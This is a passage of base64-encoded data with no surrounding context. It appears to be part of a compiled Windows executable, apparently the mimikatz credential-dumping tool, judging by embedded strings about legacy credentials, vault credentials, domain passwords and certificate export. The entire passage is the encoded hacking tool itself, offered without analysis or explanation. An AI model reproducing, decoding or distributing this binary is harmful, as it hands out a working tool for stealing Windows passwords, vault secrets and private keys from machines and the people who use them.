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AcwAKAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AEEAbABpAGEAcwAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAQwByAGUAZABlAG4AdABpAGEAbABCAGwAbwBiACAAOgAgAAAAAAAlACoAcwAgACAAQQB0AHQAcgBpAGIAdQB0AGUAcwAgACAAIAAgACAAOgAgACUAdQAKAAAAJQAqAHMAKgAqAEEAVABUAFIASQBCAFUAVABFACoAKgAKAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAlACoAcwAgACAAVgBhAGwAdQBlACAAIAAgADoAIAAAAAAAAAAlACoAcwAqACoATABFAEcAQQBDAFkAIABDAFIARQBEAEUATgBUAEkAQQBMAFMAIABHAFIATwBVAFAAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAcwB0AHIAdQBjAHQAUwBpAHoAZQAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAAgACAAIAA6ACAAJQB1AAoAAAAlACoAcwAqACoATABFAEcAQQBDAFkAIABDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAAACUAKgBzACAAIABjAHIAZQBkAFMAaQB6AGUAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAKAAAAPwAAAGcAZQBuAGUAcgBpAGMAAABkAG8AbQBhAGkAbgBfAHAAYQBzAHMAdwBvAHIAZAAAAGQAbwBtAGEAaQBuAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABkAG8AbQBhAGkAbgBfAHYAaQBzAGkAYgBsAGUAXwBwAGEAcwBzAHcAbwByAGQAAABnAGUAbgBlAHIAaQBjAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAZABvAG0AYQBpAG4AXwBlAHgAdABlAG4AZABlAGQAAABuAG8AbgBlAAAAAABzAGUAcwBzAGkAbwBuAAAAbABvAGMAYQBsAF8AbQBhAGMAaABpAG4AZQAAAGUAbgB0AGUAcgBwAHIAaQBzAGUAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAqACoACgAAAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIAB2AGEAdQBsAHQAIAAgACAAOgAgAAAAJQAqAHMAIAAgAE4AYQBtAGUAIAAgACAAIAA6ACAAJQBzAAoAAAAAACUAKgBzACAAIAB1AG4AawAwAC8AMQAvADIAOgAgACUAMAA4AHgALwAlADAAOAB4AC8AJQAwADgAeAAKAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAUABPAEwASQBDAFkAIABLAEUAWQAqACoACgAAAAAAJQAqAHMAIAAgAHUAbgBrADAAIAAgADoAIAAAACUAKgBzACAAIAB1AG4AawAxACAAIAA6ACAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAqACoACgAAAAAAJQAqAHMAIAAgAFMAYwBoAGUAbQBhAEkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAdQBuAGsAMgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAEYAcgBpAGUAbgBkAGwAeQBOAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEEAdAB0AHIAaQBiAHUAdABlAHMATQBhAHAAUwBpAHoAZQAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAAqACAAQQB0AHQAcgBpAGIAdQB0AGUAIAAlADMAdQAgAEAAIABvAGYAZgBzAGUAdAAgACUAMAA4AHgAIAAtACAAJQB1ACAAIAAoAHUAbgBrACAAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACAAQQBUAFQAUgBJAEIAVQBUAEUAKgAqAAoAAAAAACUAKgBzACAAIABpAGQAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAASQBWACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABEAGEAdABhACAAIAAgACAAOgAgAAAAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACAAQwBMAEUAQQBSACAAQQBUAFQAUgBJAEIAVQBUAEUAUwAqACoACgAAACUAKgBzACAAIAB2AGUAcgBzAGkAbwBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAYwBvAHUAbgB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHUAbgBrACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIAAqACAAAAByAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAOgAgAAAAAABpAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAOgAgAAAAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAOgAgAAAAAABwAHIAbwBwAGUAcgB0AHkAIAAlADMAdQAgACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgADsAIABDAHIAeQBwAHQARwBlAHQAUAByAG8AdgBQAGEAcgBhAG0ALwBDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0AEEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAaQBjAEEARQBTADEAMgA4AEQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGkAYwBBAEUAUwAxADIAOABEAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoAEkAVgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAaQBjAEEARQBTADEAMgA4AEQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AFMAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgATQBPAEQARQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGkAYwBBAEUAUwAxADIAOABEAGUAYwByAHkAcAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGkAYwBBAEUAUwAxADIAOABEAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUABmAHgAIAA7ACAAUABGAFgARQB4AHAAbwByAHQAQwBlAHIAdABTAHQAbwByAGUARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBJAG4AZgBvAFQAbwBQAGYAeAAgADsAIABDAGUAcgB0AFMAZQB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQBDAG8AbgB0AGUAeAB0AFAAcgBvAHAAZQByAHQAeQAoAEMARQBSAFQAXwBLAEUAWQBfAFAAUgBPAFYAXwBJAE4ARgBPAF8AUABSAE8AUABfAEkARAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkASQBuAGYAbwBUAG8AUABmAHgAIAA7ACAAQwBlAHIAdABBAGQAZABFAG4AYwBvAGQAZQBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAG8AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAH